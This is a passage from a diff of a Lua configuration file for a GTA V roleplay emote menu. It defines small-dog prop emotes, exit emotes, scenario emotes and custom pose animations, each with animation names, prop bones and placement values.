+ }, + EmoteLoop = true, + ExitEmote = "sdogup", + ExitEmoteType = "Exits" + } + }, + ["sdogtennis"] = { + "creatures@pug@move", + "nill", + "Tennis Ball (small dog)", + AnimationOptions = { + Prop = 'prop_tennis_ball', + PropBone = 31086, + PropPlacement = { + 0.1500, + -0.0600, + 0.0, + 0.0, + 0.0, + 0.0 + }, + EmoteLoop = true, + EmoteMoving = false + } + }, + ["sdogtennisr"] = { + "creatures@pug@move", + "nill", + "Tennis Racket (small dog)", + AnimationOptions = { + Prop = 'prop_tennis_rack_01', + PropBone = 31086, + PropPlacement = { + 0.1500, + -0.0200, + 0.00, + 0.000, + 0.0000, + -28.0000 + }, + EmoteLoop = true, + EmoteMoving = false + } + }, + ["sdogrose"] = { + "creatures@pug@move", + "nill", + "Rose (small dog)", + AnimationOptions = { + Prop = 'prop_single_rose', + PropBone = 12844, + PropPlacement = { + 0.1090, + -0.0140, + 0.0500, + 0.0, + 0.0, + 0.0 + }, + EmoteLoop = true, + EmoteMoving = false + } + }, + ["sdogrose2"] = { + "creatures@pug@amb@world_dog_sitting@idle_a", + "idle_b", + "Rose Sit (small dog)", + AnimationOptions = { + Prop = 'prop_single_rose', + PropBone = 12844, + PropPlacement = { + 0.1090, + -0.0140, + 0.0500, + 0.0, + 0.0, + 0.0 + }, + EmoteLoop = true, + ExitEmote = "sdogup", + ExitEmoteType = "Exits" + } + }, + ["sdogggun"] = { + "creatures@pug@move", + "nill", + "Gun Gold (small dog)", + AnimationOptions = { + Prop = 'w_pi_pistol_luxe', + PropBone = 12844, + PropPlacement = { + 0.2010, + -0.0080, + 0.0, + 0.0, + 0.0, + 0.0 + }, + EmoteLoop = true, + EmoteMoving = false + } + }, + ["sdoggun2"] = { + "creatures@pug@amb@world_dog_sitting@idle_a", + "idle_b", + "Gun Gold Sit (small dog)", + AnimationOptions = { + Prop = 'w_pi_pistol_luxe', + PropBone = 12844, + PropPlacement = { + 0.2010, + -0.0080, + 0.0, + 0.0, + 0.0, + 0.0 + }, + EmoteLoop = true, + ExitEmote = "sdogup", + ExitEmoteType = "Exits" + } + }, + ["sdogstun"] = { + "creatures@pug@move", + "nill", + "Stun Gun (small dog)", + AnimationOptions = { + Prop = 'w_pi_stungun', + PropBone = 12844, + PropPlacement = { + 0.1400, + -0.0100, + 0.0, + 0.0, + 0.0, + 0.0 + }, + EmoteLoop = true, + EmoteMoving = false, + PtfxAsset = "core", + PtfxName = "blood_stungun", + PtfxPlacement = { + 0.208, + 0.0, + 0.0, + 0.0, + 0.0, + 0.0, + 1.0 + }, + PtfxInfo = Translate('stun'), + PtfxWait = 200 + } + }, + ["sdoggl1"] = { + "creatures@pug@move", + "nill", + "Aviators (small dog)", + AnimationOptions = { + Prop = 'prop_aviators_01', + PropBone = 31086, + PropPlacement = { + 0.0500, + 0.0400, + 0.000, + -90.00, + 90.00, + 0.00 + }, + EmoteLoop = true, + EmoteMoving = false + } + }, + ["sdoggl2"] = { + "creatures@pug@amb@world_dog_sitting@idle_a", + "idle_b", + "Aviators Sitting (small dog)", + AnimationOptions = { + Prop = 'prop_aviators_01', + PropBone = 31086, + PropPlacement = { + 0.0500, + 0.0400, + 0.000, + -90.00, + 90.00, + 0.00 + }, + EmoteLoop = true, + ExitEmote = "sdogup", + ExitEmoteType = "Exits" + } + }, + ["sdoggl3"] = { + "creatures@pug@move", + "nill", + "Sunglasses (small dog)", + AnimationOptions = { + Prop = 'prop_cs_sol_glasses', + PropBone = 31086, + PropPlacement = { + 0.0500, + 0.0300, + 0.000, + -100.0000003, + 90.00, + 0.00 + }, + EmoteLoop = true, + EmoteMoving = false + } + }, + ["sdoggl4"] = { + "creatures@pug@amb@world_dog_sitting@idle_a", + "idle_b", + "Sunglasses Sitting (small dog)", + AnimationOptions = { + Prop = 'prop_cs_sol_glasses', + PropBone = 31086, + PropPlacement = { + 0.0500, + 0.0300, + 0.000, + -100.0000003, + 90.00, + 0.00 + }, + EmoteLoop = true, + ExitEmote = "sdogup", + ExitEmoteType = "Exits" + } + }, + ["sdoghd1"] = { + "creatures@pug@move", + "nill", + "Hot Dog (small dog)", + AnimationOptions = { + Prop = 'prop_cs_hotdog_01', + PropBone = 31086, + PropPlacement = { + 0.1300, + -0.0250, + 0.000, + -88.272053, + -9.8465858, + -0.1488562 + }, + EmoteLoop = true, + EmoteMoving = false + } + }, + ["sdoghd2"] = { + "creatures@pug@amb@world_dog_sitting@idle_a", + "idle_b", + "Hot Dog Sitting (small dog)", + AnimationOptions = { + Prop = 'prop_cs_hotdog_01', + PropBone = 31086, + PropPlacement = { + 0.1300, + -0.0250, + 0.000, + -88.272053, + -9.8465858, + -0.1488562 + }, + EmoteLoop = true, + ExitEmote = "sdogup", + ExitEmoteType = "Exits" + } + }, + ["sdoghlmt1"] = { + "creatures@pug@move", + "nill", + "Helmet 1 (small dog)", + AnimationOptions = { + Prop = 'ba_prop_battle_sports_helmet', + PropBone = 31086, + PropPlacement = { + 0.00, + -0.0200, + 0.000, + -90.00, + 90.00, + 0.00 + }, + EmoteLoop = true, + EmoteMoving = false + } + }, + ["sdoghlmt2"] = { + "creatures@pug@move", + "nill", + "Helmet 2 (small dog)", + AnimationOptions = { + Prop = 'prop_hard_hat_01', + PropBone = 31086, + PropPlacement = { + 0.00, + 0.1300, + 0.000, + -90.00, + 90.00, + 0.00 + }, + EmoteLoop = true, + EmoteMoving = false + } + }, + ["sdoghat"] = { + "creatures@pug@move", + "nill", + "Hat 1 (small dog)", + AnimationOptions = { + Prop = 'prop_proxy_hat_01', + PropBone = 31086, + PropPlacement = { + 0.0, + 0.1200, + 0.000, + -99.8510766, + 80.1489234, + 1.7279411 + }, + SecondProp = 'prop_aviators_01', + SecondPropBone = 31086, + SecondPropPlacement = { + 0.0500, + 0.0400, + 0.000, + -90.00, + 90.00, + 0.00 + }, + EmoteLoop = true, + EmoteMoving = false + } + }, + ["sdoghat2"] = { + "creatures@pug@amb@world_dog_sitting@idle_a", + "idle_b", + "Hat 2 Sitting (small dog)", + AnimationOptions = { + Prop = 'prop_proxy_hat_01', + PropBone = 31086, + PropPlacement = { + 0.0, + 0.1200, + 0.000, + -99.8510766, + 80.1489234, + 1.7279411 + }, + SecondProp = 'prop_aviators_01', + SecondPropBone = 31086, + SecondPropPlacement = { + 0.0500, + 0.0400, + 0.000, + -90.00, + 90.00, + 0.00 + }, + EmoteLoop = true, + ExitEmote = "sdogup", + ExitEmoteType = "Exits" + } + }, + ["sdogsteak"] = { + "creatures@pug@move", + "nill", + "Steak (small dog)", + AnimationOptions = { + Prop = 'prop_cs_steak', + PropBone = 31086, + PropPlacement = { + 0.1800, + -0.0200, + 0.000, + 90.00, + 0.00, + 0.00 + }, + EmoteLoop = true, + EmoteMoving = false + } + }, + ["sdogsteak2"] = { + "creatures@pug@amb@world_dog_sitting@idle_a", + "idle_c", + "Steak 2 Lay Down (small dog)", + AnimationOptions = { + Prop = 'prop_cs_steak', + PropBone = 31086, + PropPlacement = { + 0.1800, + -0.0200, + 0.000, + 90.00, + 0.00, + 0.00 + }, + EmoteLoop = true, + ExitEmote = "sdogup", + ExitEmoteType = "Exits" + } + }, + ["sdogpridea"] = { + "creatures@pug@move", + "nill", + "Pride A (small dog)", + AnimationOptions = { + Prop = 'lilprideflag1', + PropBone = 31086, + PropPlacement = { + 0.1240, + -0.0080, + 0.000, + 0.0, + 0.0, + -74.6999 + }, + EmoteLoop = true, + EmoteMoving = false + } + }, + ["sdogprideb"] = { + "creatures@pug@move", + "nill", + "Pride B - LGBTQIA (small dog)", + AnimationOptions = { + Prop = 'lilprideflag2', -- LGBTQIA + PropBone = 31086, + PropPlacement = { + 0.1240, + -0.0080, + 0.000, + 0.0, + 0.0, + -74.6999 + }, + EmoteLoop = true, + EmoteMoving = false + } + }, + ["sdogpridec"] = { + "creatures@pug@move", + "nill", + "Pride C - Bisexual (small dog)", + AnimationOptions = { + Prop = 'lilprideflag3', -- Bisexual + PropBone = 31086, + PropPlacement = { + 0.1240, + -0.0080, + 0.000, + 0.0, + 0.0, + -74.6999 + }, + EmoteLoop = true, + EmoteMoving = false + } + }, + ["sdogprided"] = { + "creatures@pug@move", + "nill", + "Pride D - Lesbian (small dog)", + AnimationOptions = { + Prop = 'lilprideflag4', -- Lesbian + PropBone = 31086, + PropPlacement = { + 0.1240, + -0.0080, + 0.000, + 0.0, + 0.0, + -74.6999 + }, + EmoteLoop = true, + EmoteMoving = false + } + }, + ["sdogpridee"] = { + "creatures@pug@move", + "nill", + "Pride E - Pansexual (small dog)", + AnimationOptions = { + Prop = 'lilprideflag5', -- Pansexual + PropBone = 31086, + PropPlacement = { + 0.1240, + -0.0080, + 0.000, + 0.0, + 0.0, + -74.6999 + }, + EmoteLoop = true, + EmoteMoving = false + } + }, + ["sdogpridef"] = { + "creatures@pug@move", + "nill", + "Pride F - Transgender (small dog)", + AnimationOptions = { + Prop = 'lilprideflag6', -- Transgender + PropBone = 31086, + PropPlacement = { + 0.1240, + -0.0080, + 0.000, + 0.0, + 0.0, + -74.6999 + }, + EmoteLoop = true, + EmoteMoving = false + } + }, + ["sdogprideg"] = { + "creatures@pug@move", + "nill", + "Pride G - Non Binary (small dog)", + AnimationOptions = { + Prop = 'lilprideflag6', -- Non Binary + PropBone = 31086, + PropPlacement = { + 0.1240, + -0.0080, + 0.000, + 0.0, + 0.0, + -74.6999 + }, + EmoteLoop = true, + EmoteMoving = false + } + }, + ["sdogprideh"] = { + "creatures@pug@move", + "nill", + "Pride H - Non Binary (small dog)", + AnimationOptions = { + Prop = 'lilprideflag7', -- Non Binary + PropBone = 31086, + PropPlacement = { + 0.1240, + -0.0080, + 0.000, + 0.0, + 0.0, + -74.6999 + }, + EmoteLoop = true, + EmoteMoving = false + } + }, + ["sdogpridei"] = { + "creatures@pug@move", + "nill", + "Pride I - Asexual (small dog)", + AnimationOptions = { + Prop = 'lilprideflag8', -- Asexual + PropBone = 31086, + PropPlacement = { + 0.1240, + -0.0080, + 0.000, + 0.0, + 0.0, + -74.6999 + }, + EmoteLoop = true, + EmoteMoving = false + } + }, + ["sdogpridesita"] = { + "creatures@pug@amb@world_dog_sitting@idle_a", + "idle_b", + "Pride A Sit (small dog)", + AnimationOptions = { + Prop = 'lilprideflag1', + PropBone = 31086, + PropPlacement = { + 0.1240, + -0.0080, + 0.000, + 0.0, + 0.0, + -74.6999 + }, + EmoteLoop = true, + ExitEmote = "sdogup", + ExitEmoteType = "Exits" + } + }, + ["sdogpridesitb"] = { + "creatures@pug@amb@world_dog_sitting@idle_a", + "idle_b", + "Pride B Sit LGBTQIA (small dog)", + AnimationOptions = { + Prop = 'lilprideflag2', -- LGBTQIA + PropBone = 31086, + PropPlacement = { + 0.1240, + -0.0080, + 0.000, + 0.0, + 0.0, + -74.6999 + }, + EmoteLoop = true, + ExitEmote = "sdogup", + ExitEmoteType = "Exits" + } + }, + ["sdogpridesitc"] = { + "creatures@pug@amb@world_dog_sitting@idle_a", + "idle_b", + "Pride C Sit Bisexual (small dog)", + AnimationOptions = { + Prop = 'lilprideflag3', -- Bisexual + PropBone = 31086, + PropPlacement = { + 0.1240, + -0.0080, + 0.000, + 0.0, + 0.0, + -74.6999 + }, + EmoteLoop = true, + ExitEmote = "sdogup", + ExitEmoteType = "Exits" + } + }, + ["sdogpridesitd"] = { + "creatures@pug@amb@world_dog_sitting@idle_a", + "idle_b", + "Pride D Sit Lesbian (small dog)", + AnimationOptions = { + Prop = 'lilprideflag4', -- Lesbian + PropBone = 31086, + PropPlacement = { + 0.1240, + -0.0080, + 0.000, + 0.0, + 0.0, + -74.6999 + }, + EmoteLoop = true, + ExitEmote = "sdogup", + ExitEmoteType = "Exits" + } + }, + ["sdogpridesite"] = { + "creatures@pug@amb@world_dog_sitting@idle_a", + "idle_b", + "Pride E Sit Pansexual (small dog)", + AnimationOptions = { + Prop = 'lilprideflag5', -- Pansexual + PropBone = 31086, + PropPlacement = { + 0.1240, + -0.0080, + 0.000, + 0.0, + 0.0, + -74.6999 + }, + EmoteLoop = true, + ExitEmote = "sdogup", + ExitEmoteType = "Exits" + } + }, + ["sdogpridesitf"] = { + "creatures@pug@amb@world_dog_sitting@idle_a", + "idle_b", + "Pride F Sit Transgender (small dog)", + AnimationOptions = { + Prop = 'lilprideflag6', -- Transgender + PropBone = 31086, + PropPlacement = { + 0.1240, + -0.0080, + 0.000, + 0.0, + 0.0, + -74.6999 + }, + EmoteLoop = true, + ExitEmote = "sdogup", + ExitEmoteType = "Exits" + } + }, + ["sdogpridesitg"] = { + "creatures@pug@amb@world_dog_sitting@idle_a", + "idle_b", + "Pride G Sit Non Binary (small dog)", + AnimationOptions = { + Prop = 'lilprideflag7', -- Non Binary + PropBone = 31086, + PropPlacement = { + 0.1240, + -0.0080, + 0.000, + 0.0, + 0.0, + -74.6999 + }, + EmoteLoop = true, + ExitEmote = "sdogup", + ExitEmoteType = "Exits" + } + }, + ["sdogpridesith"] = { + "creatures@pug@amb@world_dog_sitting@idle_a", + "idle_b", + "Pride H Sit Asexual (small dog)", + AnimationOptions = { + Prop = 'lilprideflag8', + -- Asexual + PropBone = 31086, + PropPlacement = { + 0.1240, + -0.0080, + 0.000, + 0.0, + 0.0, + -74.6999 + }, + EmoteLoop = true, + ExitEmote = "sdogup", + ExitEmoteType = "Exits" + } + }, + ["sdogpridesiti"] = { + "creatures@pug@amb@world_dog_sitting@idle_a", + "idle_b", + "Pride I Sit Straight Ally (small dog)", + AnimationOptions = { + Prop = 'lilprideflag9', -- Straight Ally + PropBone = 31086, + PropPlacement = { + 0.1240, + -0.0080, + 0.000, + 0.0, + 0.0, + -74.6999 + }, + EmoteLoop = true, + ExitEmote = "sdogup", + ExitEmoteType = "Exits" + } + }, + ["sdogpee"] = { + "creatures@pug@move", + "nill", + "Pee (Small Dog)", + AnimationOptions = { + EmoteLoop = true, + PtfxAsset = "scr_amb_chop", + PtfxName = "ent_anim_dog_peeing", + PtfxNoProp = true, + PtfxPlacement = { + -0.01, + -0.17, + 0.09, + 0.0, + 90.0, + 140.0, + 1.0 + }, + PtfxInfo = Translate('pee'), + PtfxWait = 0, + PtfxCanHold = true + } + }, + ["sdogshit"] = { + "creatures@pug@move", + "nill", + "Shit (Small Dog)", + AnimationOptions = { + EmoteLoop = true, + EmoteMoving = true, + PtfxAsset = "scr_amb_chop", + PtfxName = "ent_anim_dog_poo", + PtfxNoProp = true, + PtfxBone = 11816, + PtfxPlacement = { + -0.0330, + 0.0210, + -0.0040, + 0.0, + 0.0, + 0.0, + 0.5 + }, + PtfxInfo = Translate('poop'), + PtfxWait = 0, + PtfxCanHold = true + } + }, + ["sdogfw"] = { + "creatures@pug@move", + "nill", + "Firework - Small Dog", + AnimationOptions = { + Prop = 'ind_prop_firework_01', --- blue, green, red, purple pink, cyan, yellow, white + PtfxColor = {{R = 255, G = 0, B = 0, A = 1.0}, {R = 0, G = 255, B = 0, A = 1.0}, {R = 0, G = 0, B = 255, A = 1.0}, {R = 177, G = 5, B = 245, A = 1.0}, {R = 251, G = 3, B = 255, A = 1.0}, {R = 2, G = 238, B = 250, A = 1.0}, {R = 252, G = 248, B = 0, A = 1.0}, {R = 245, G = 245, B = 245, A = 1.0}}, + PropBone = 31086, + PropPlacement = { + 0.1330, + -0.0210, + -0.2760, + 0.0, + -180.0, + 44.0000 + }, + EmoteLoop = true, + EmoteMoving = true, + PtfxAsset = "scr_indep_fireworks", + PtfxName = "scr_indep_firework_trail_spawn", + PtfxPlacement = { + 0.0, + 0.0, + 0.0, + 0.0, + 0.0, + 0.0, + 0.6 + }, + PtfxInfo = Translate('firework'), + PtfxWait = 200 + } + }, + ["sdogfris"] = { + "creatures@pug@move", + "nill", + "Frisbee (small dog)", + AnimationOptions = { + Prop = 'p_ld_frisbee_01', + PropBone = 31086, + PropPlacement = { + 0.1900, + -0.0150, + 0.0000, + -90.0000, + 120.0000, + 0.000, + }, + EmoteLoop = true, + EmoteMoving = true + } + }, +} + + +--- EXIT EMOTES --- + +RP.Exits = { + +------ HUMAN EXIT EMOTES ------ + + ["getup"] = { + "get_up@sat_on_floor@to_stand", + "getup_0", + "Get Up", + AnimationOptions = { + EmoteDuration = 2000, + StartDelay = 600 + } + }, + ["standup"] = { + "get_up@directional@movement@from_knees@injured", + "getup_l_0", + "Stand Up", + AnimationOptions = { + EmoteDuration = 2000, + StartDelay = 600 + } + }, + ["surrender_exit"] = { + "random@arrests", + "kneeling_arrest_get_up", + "Surrender Exit", + AnimationOptions = { + EmoteDuration = 2200 + } + }, + ["offchair"] = { + "switch@michael@sitting", + "exit_forward", + "Off Chair", + AnimationOptions = { + EmoteDuration = 1000 + } + }, + ["offtable"] = { + "anim@amb@board_room@diagram_blueprints@", + "look_around_01_amy_skater_01", + "Off Tabble", + AnimationOptions = { + EmoteDuration = 5700 + } + }, + ["phoneaway"] = { + "amb@world_human_stand_mobile@male@text@exit", + "exit", + "Phone Away", + AnimationOptions = { + EmoteDuration = 1780, + StartDelay = 1150, + EmoteMoving = true + } + }, + ["breakfreefont"] = { + "mp_arresting", + "a_uncuff", + "Break Free Front", + AnimationOptions = { + EmoteDuration = 6099, + StartDelay = 450, + EmoteMoving = true + } + }, + ["breakfreeback"] = { + "mp_arresting", + "b_uncuff", + "Break Free Back", + AnimationOptions = { + EmoteDuration = 6099, + StartDelay = 450, + EmoteMoving = true + } + }, + ["shakeitoffhuman"] = { + "move_m@_idles@shake_off", + "shakeoff_1", + "Shake Off The Rain", + AnimationOptions = { + EmoteDuration = 2899, + StartDelay = 850, + EmoteMoving = true + } + }, +------ ANIMAL EXIT EMOTES ------ + ["sdogup"] = { + "creatures@pug@amb@world_dog_sitting@exit", + "exit", + "Small Dog Get Up", + AnimationOptions = { + EmoteDuration = 1000 + } + }, + ["bdogup"] = { + "creatures@rottweiler@amb@world_dog_sitting@exit", + "exit", + "Big Dog Get Up", + AnimationOptions = { + EmoteDuration = 1000 + } + }, + ["bdogupk"] = { + "creatures@rottweiler@amb@sleep_in_kennel@", + "exit_kennel", + "Big Dog Get Up V2", + AnimationOptions = { + EmoteDuration = 5000 + } + } +} + + +--- SCENARIOS --- +--- EMOTES NO PROPS --- + +RP.Emotes = { + + ----------------------------------------------------------------------------------------------------------- + ------ The male and female 'interaction menu' emotes from GTA Online can be found under the following animation directories: + ------ + ------ Male: anim@mp_player_intcelebrationmale + ------ + ------ Female: anim@mp_player_intcelebrationfemale + + ----------------------------------------------------------------------------------------------------------- + ------ THESE ARE SCENARIOS, SOME OF THESE DON'T WORK ON WOMEN AND SOME OTHER ISSUES, BUT STILL GOOD TO HAVE ------ + ----------------------------------------------------------------------------------------------------------- + ["atm"] = { + "Scenario", + "PROP_HUMAN_ATM", + "ATM" + }, + ["bbq"] = { + "MaleScenario", + "PROP_HUMAN_BBQ", + "BBQ" + }, + ["bumbin"] = { + "Scenario", + "PROP_HUMAN_BUM_BIN", + "Bum Bin" + }, + ["cheer"] = { + "Scenario", + "WORLD_HUMAN_CHEERING", + "Cheer" + }, + ["chinup"] = { + "Scenario", + "PROP_HUMAN_MUSCLE_CHIN_UPS", + "Chinup" + }, + ["clipboard2"] = { + "MaleScenario", + "WORLD_HUMAN_CLIPBOARD", + "Clipboard 2" + }, + ["cop"] = { + "Scenario", + "WORLD_HUMAN_COP_IDLES", + "Cop" + }, + ["drill"] = { + "Scenario", + "WORLD_HUMAN_CONST_DRILL", + "Construction Drilling" + }, + ["filmshocking"] = { + "Scenario", + "WORLD_HUMAN_MOBILE_FILM_SHOCKING", + "Film Shocking" + }, + ["flex"] = { + "Scenario", + "WORLD_HUMAN_MUSCLE_FLEX", + "Flex" + }, + ["guard"] = { + "Scenario", + "WORLD_HUMAN_GUARD_STAND", + "Guard" + }, + ["garden"] = { + "Scenario", + "WORLD_HUMAN_GARDENER_PLANT", + "Gardening" + }, + ["hammer"] = { + "Scenario", + "WORLD_HUMAN_HAMMERING", + "Hammer" + }, + ["hangout"] = { + "Scenario", + "WORLD_HUMAN_HANG_OUT_STREET", + "Hangout" + }, + ["impatient"] = { + "Scenario", + "WORLD_HUMAN_STAND_IMPATIENT", + "Impatient" + }, + ["janitor"] = { + "Scenario", + "WORLD_HUMAN_JANITOR", + "Janitor" + }, + ["jog"] = { + "Scenario", + "WORLD_HUMAN_JOG_STANDING", + "Jog" + }, + ["kneel"] = { + "Scenario", + "CODE_HUMAN_MEDIC_KNEEL", + "Kneel" + }, + ["lean"] = { + "Scenario", + "WORLD_HUMAN_LEANING", + "Lean" + }, + ["leanbar"] = { + "Scenario", + "PROP_HUMAN_BUM_SHOPPING_CART", + "Lean Bar" + }, + ["lookout"] = { + "Scenario", + "CODE_HUMAN_CROSS_ROAD_WAIT", + "Lookout" + }, + ["maid"] = { + "Scenario", + "WORLD_HUMAN_MAID_CLEAN", + "Maid" + }, + ["medic"] = { + "Scenario", + "CODE_HUMAN_MEDIC_TEND_TO_DEAD", + "Medic" + }, + ["musician"] = { + "MaleScenario", + "WORLD_HUMAN_MUSICIAN", + "Musician" + }, + -- Ambient Music Doesn't Seem To Work For Female, Hence It's Male Only + ["notepad2"] = { + "Scenario", + "CODE_HUMAN_MEDIC_TIME_OF_DEATH", + "Notepad 2" + }, + ["parkingmeter"] = { + "Scenario", + "PROP_HUMAN_PARKING_METER", + "Parking Meter" + }, + ["party"] = { + "Scenario", + "WORLD_HUMAN_PARTYING", + "Party" + }, + ["texting"] = { + "Scenario", + "WORLD_HUMAN_STAND_MOBILE", + "Texting" + }, + ["prosthigh"] = { + "Scenario", + "WORLD_HUMAN_PROSTITUTE_HIGH_CLASS", + "Prostitue High" + }, + ["prostlow"] = { + "Scenario", + "WORLD_HUMAN_PROSTITUTE_LOW_CLASS", + "Prostitue Low" + }, + ["puddle"] = { + "Scenario", + "WORLD_HUMAN_BUM_WASH", + "Puddle" + }, + ["record"] = { + "Scenario", + "WORLD_HUMAN_MOBILE_FILM_SHOCKING", + "Record" + }, + ["smoke"] = { + "Scenario", + "WORLD_HUMAN_SMOKING", + "Smoke" + }, + ["smokeweed"] = { + "MaleScenario", + "WORLD_HUMAN_DRUG_DEALER", + "Smoke Weed (Male)" + }, + -- Female + ["smokeweed2"] = { + "Scenario", + "WORLD_HUMAN_SMOKING_POT", + "Smoke Weed (Female)" + }, + -- Female + ["statue"] = { + "Scenario", + "WORLD_HUMAN_HUMAN_STATUE", + "Statue" + }, + ["weld"] = { + "Scenario", + "WORLD_HUMAN_WELDING", + "Weld" + }, + ["windowshop"] = { + "Scenario", + "WORLD_HUMAN_WINDOW_SHOP_BROWSE", + "Window Shop" + }, + ["yoga"] = { + "Scenario", + "WORLD_HUMAN_YOGA", + "Yoga" + }, + +---------- END OF SCENARIOS -------------- + + ["dispenser"] = { + "mini@sprunk", + "plyr_buy_drink_pt1", + "Dispenser", + AnimationOptions = + { + EmoteLoop = false + } + }, + ["cuffedfront"] = { + "anim@move_m@prisoner_cuffed", + "idle", + "Handcuffed - Front", + AnimationOptions = { + EmoteLoop = true, + EmoteMoving = true, + ExitEmote = "breakfreefont", + ExitEmoteType = "Exits" + } + }, + ["cuffedback"] = { + "mp_arresting", + "idle", + "Handcuffed - Back", + AnimationOptions = { + EmoteLoop = true, + EmoteMoving = true, + ExitEmote = "breakfreeback", + ExitEmoteType = "Exits" + } + }, + ["femalestandcute"] = { + "stand_cute_6@dark", + "stand_cute_6_clip", + "Female Stand Cute Pose", + AnimationOptions = { + EmoteLoop = true, + EmoteMoving = false + } + }, + ["femalestandcute1"] = { + "stand_fem_1@darksj", + "stand_fem_1_clip", + "Female Stand Cute Pose 1", + AnimationOptions = { + EmoteLoop = true, + EmoteMoving = false + } + }, + ["femalestandcute2"] = { + "feet_stand_w@darksj", + "feet_stand_w_clip", + "Female Stand Cute Pose 2", + AnimationOptions = { + EmoteLoop = true, + EmoteMoving = false + } + }, + ["femalestandcute3"] = { + "anim@female_model_14", + "f_model_14_clip", + "Female Stand Cute Pose 3", + AnimationOptions = { + EmoteLoop = true, + EmoteMoving = false + } + }, + ["femalestandcutefinger"] = { + "anim@female_model_15", + "f_model_15_clip", + "Female Stand Cute Pose Finger", + AnimationOptions = { + EmoteLoop = true, + EmoteMoving = false + } + }, + ["femalestandcute4"] = { + "anim@female_model_17", + "f_model_17_clip", + "Female Stand Cute Pose 4", + AnimationOptions = { + EmoteLoop = true, + EmoteMoving = false + } + }, + ["malestandpose"] = { + "anim@male_model_11", + "m_model_11_clip", + "Male Stand Pose", + AnimationOptions = { + EmoteLoop = true, + EmoteMoving = false + } + }, + ["femalesitcute"] = { + "sit_cute_1@dark", + "sit_cute_1_clip", + "Female Sit Cute", + AnimationOptions = { + EmoteLoop = true, + EmoteMoving = false, + ExitEmote = "getup", + ExitEmoteType = "Exits" + } + }, + ["femalesitcute1"] = { + "mrwitt@chin_support_on_floor", + "mrwitt", + "Female Sit Cute 1", + AnimationOptions = { + EmoteLoop = true, + EmoteMoving = false, + ExitEmote = "getup", + ExitEmoteType = "Exits" + } + }, + ["femalesitcute2"] = { + "beach_1@janina234", + "beach_1_clip", + "Female Sit Cute 2", + AnimationOptions = { + EmoteLoop = true, + EmoteMoving = false, + ExitEmote = "getup", + ExitEmoteType = "Exits" + } + }, + ["femaleonknees"] = { + "beach_4@janina234", + "beach_4_clip", + "Female On Knees Pose", + AnimationOptions = { + EmoteLoop = true, + EmoteMoving = false, + ExitEmote = "standup", + ExitEmoteType = "Exits" + } + }, + ["femaleonknees1"] = { + "on_the_knees@darksj", + "on_the_knees_clip", + "Female On Knees Pose 1", + AnimationOptions = { + EmoteLoop = true, + EmoteMoving = false, + ExitEmote = "standup", + ExitEmoteType = "Exits" + } + }, + ["femaleonknees2"] = { + "anim@female_model_21", + "f_model_21_clip", + "Female On Knees Pose 2", + AnimationOptions = { + EmoteLoop = true, + EmoteMoving = false, + ExitEmote = "getup", + ExitEmoteType = "Exits" + } + }, + ["beast"] = { + "anim@mp_fm_event@intro", + "beast_transform", + "Beast", + AnimationOptions = { + EmoteMoving = true, + EmoteDuration = 5000 + } + }, + ["chill"] = { + "switch@trevor@scares_tramp", + "trev_scares_tramp_idle_tramp", + "Chill", + AnimationOptions = { + EmoteLoop = true, + StartDelay = 200, + ExitEmote = "getup", + ExitEmoteType = "Exits" + } + }, + ["cloudgaze"] = { + "switch@trevor@annoys_sunbathers", + "trev_annoys_sunbathers_loop_girl", + "Cloudgaze", + AnimationOptions = { + EmoteLoop = true, + StartDelay = 700, + ExitEmote = "getup", + ExitEmoteType = "Exits" + } + }, + ["cloudgaze2"] = { + "switch@trevor@annoys_sunbathers", + "trev_annoys_sunbathers_loop_guy", + "Cloudgaze 2", + AnimationOptions = { + EmoteLoop = true, + StartDelay = 700, + ExitEmote = "getup", + ExitEmoteType = "Exits" + } + }, + ["daydream"] = { --- Custom Emote By Darks Animations + "girl_groupe_d@darksj", + "girl_groupe_d_clip", + "Daydream In The Clouds", + AnimationOptions = { + EmoteLoop = true, + EmoteMoving = true + } + }, + ["khands"] = { --- Custom Emote By EnchantedBrwny + "ebrwny_heart000", + "ebrwny_hrt000", + "Korean Hand Hearts 🇰🇷", + AnimationOptions = { + EmoteLoop = true, + EmoteMoving = true, + } + }, + ["uwu2"] = { --- Custom Emote By EnchantedBrwny + "ebrwny_pack000", + "ebrwny_shy", + "UwU 2", + AnimationOptions = { + EmoteLoop = true, + EmoteMoving = true, + } + }, + ["rawr"] = { --- Custom Emote By EnchantedBrwny + "ebrwny_pack000", + "ebrwny_rawr", + "Rawr", + AnimationOptions = { + EmoteLoop = true, + EmoteMoving = true + } + }, + ["stop"] = { --- Custom Emote By EnchantedBrwny + "ebrwny_pack000", + "ebrwny_stop", + "Stop", + AnimationOptions = { + EmoteLoop = true, + EmoteMoving = true + } + }, + ["sassy"] = { --- Custom Emote By EnchantedBrwny + "ebrwny_pack000", + "ebrwny_sass", + "Sassy", + AnimationOptions = { + EmoteLoop = true, + EmoteMoving = true + } + }, + ["sitsad3"] = { --- Custom Emote By EnchantedBrwny + "ebrwny_pack000", + "ebrwny_sitf000", + "Sit Sad 3", + AnimationOptions = { + EmoteLoop = true, + ExitEmote = "getup", + ExitEmoteType = "Exits" + } + }, + ["sitsad4"] = { --- Custom Emote By EnchantedBrwny + "ebrwny_pack000", + "ebrwny_sitf001", + "Sit Sad 4", + AnimationOptions = { + StartDelay = 600, + EmoteLoop = true, + ExitEmote = "getup", + ExitEmoteType = "Exits" + } + }, + ["bend"] = { + "ebrwny_pack000", + "ebrwny_bend", + "Bent over", + AnimationOptions = { + StartDelay = 600, + EmoteLoop = true, + EmoteMoving = true, + NotInVehicle = true + }, + AdultAnimation = true + }, + ["prone"] = { + "missfbi3_sniping", + "prone_dave", + "Prone", + AnimationOptions = { + EmoteLoop = true, + StartDelay = 700, + ExitEmote = "getup", + ExitEmoteType = "Exits" + } + }, + ["pullover"] = { + "misscarsteal3pullover", + "pull_over_right", + "Pullover", + AnimationOptions = { + EmoteMoving = true, + EmoteDuration = 1300 + } + }, + ["idle"] = { + "anim@heists@heist_corona@team_idles@male_a", + "idle", + "Idle", + AnimationOptions = { + EmoteLoop = true + } + }, + ["idle8"] = { + "amb@world_human_hang_out_street@male_b@idle_a", + "idle_b", + "Idle 8" + }, + ["idle9"] = { + "friends@fra@ig_1", + "base_idle", + "Idle 9", + AnimationOptions = { + EmoteLoop = true + } + }, + ["idle10"] = { + "mp_move@prostitute@m@french", + "idle", + "Idle 10", + AnimationOptions = { + EmoteLoop = true, + EmoteMoving = true + } + }, + ["idle11"] = { + "random@countrysiderobbery", + "idle_a", + "Idle 11", + AnimationOptions = { + EmoteLoop = true + } + }, + ["idle2"] = { + "anim@heists@heist_corona@team_idles@female_a", + "idle", + 